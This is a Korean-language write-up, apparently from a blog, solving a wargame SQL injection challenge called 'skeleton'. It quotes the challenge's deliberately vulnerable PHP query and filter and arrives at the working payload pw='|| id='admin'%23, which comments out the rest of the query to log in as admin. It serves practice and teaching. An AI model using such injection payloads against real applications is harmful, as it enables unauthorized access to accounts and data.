728x90
반응형
상단에 나오는 쿼리문은 DB에 해당 쿼리문으로 데이터가 들어간다고 알려준다.
이번문제 쿼리문을 보면 id는 guest로 값이 있는 파라미터와 공백의 pw, 그리고 뒤에 and 1=0이라는 거짓 수식이 붙어있다.
query : select id from prob_skeleton where id='guest' and pw='' and 1=0
아래에는 php 코드가 나와있으며, 이걸 참고해서 문제를 푸는 것 이다.
해당 php 코드에서 자세하게 봐야 하는 부분은 이 부분인 것 같다.
아래 조건문을 보면 특수문자들을 필터링 하고 있다.
문제를 풀기 위해서는 id의 값이 admin 이어야만 풀리게 되어있다.
if(preg_match('/prob|_|\\.|\\(\\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0";
if($result['id'] == 'admin') solve("skeleton");
쿼리문의 우회해야 하는 부분은 아래와 같아보인다.
- id=guest를 admin으로 우회하기
- pw 값 무시시키기
- and 1=0 의 거짓된 쿼리문 무시시키기
id='guest' and pw='' and 1=0 를 아래와 같이 만들었다.
pw='|| id='admin' and pw=#' -> #이 필터링됨
pw='|| id='admin'%23
|| 파이프 라인을 사용해서 guest를 우회하고, 주석은 #가 필터링 되므로 %23으로 인코딩하여 보내주었더니 문제가 풀렸다.
pw='|| id='admin'%23
728x90
반응형